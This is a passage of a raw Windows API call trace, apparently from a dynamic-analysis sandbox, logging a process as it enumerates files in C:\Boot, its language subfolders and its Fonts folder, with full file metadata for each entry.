ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.046] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.046] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.046] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.046] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0047.046] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.046] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.046] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0047.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.057] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.058] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.058] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.058] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.058] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.058] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0047.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.058] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.058] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.058] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.059] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.059] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.059] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0047.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.060] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.060] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0047.060] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0047.061] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0047.061] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0047.061] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0047.061] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0047.061] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.061] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.061] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0047.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.062] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.062] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.062] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.062] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.063] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.063] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.063] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.063] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.063] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.063] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.063] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.063] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.064] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.065] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.065] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.065] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.065] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11e6fc0 | out: hHeap=0xb80000) returned 1 [0047.065] FindNextFileW (in: hFindFile=0x58bca8, lpFindFileData=0x2faf410 | out: lpFindFileData=0x2faf410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.065] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.065] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.066] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 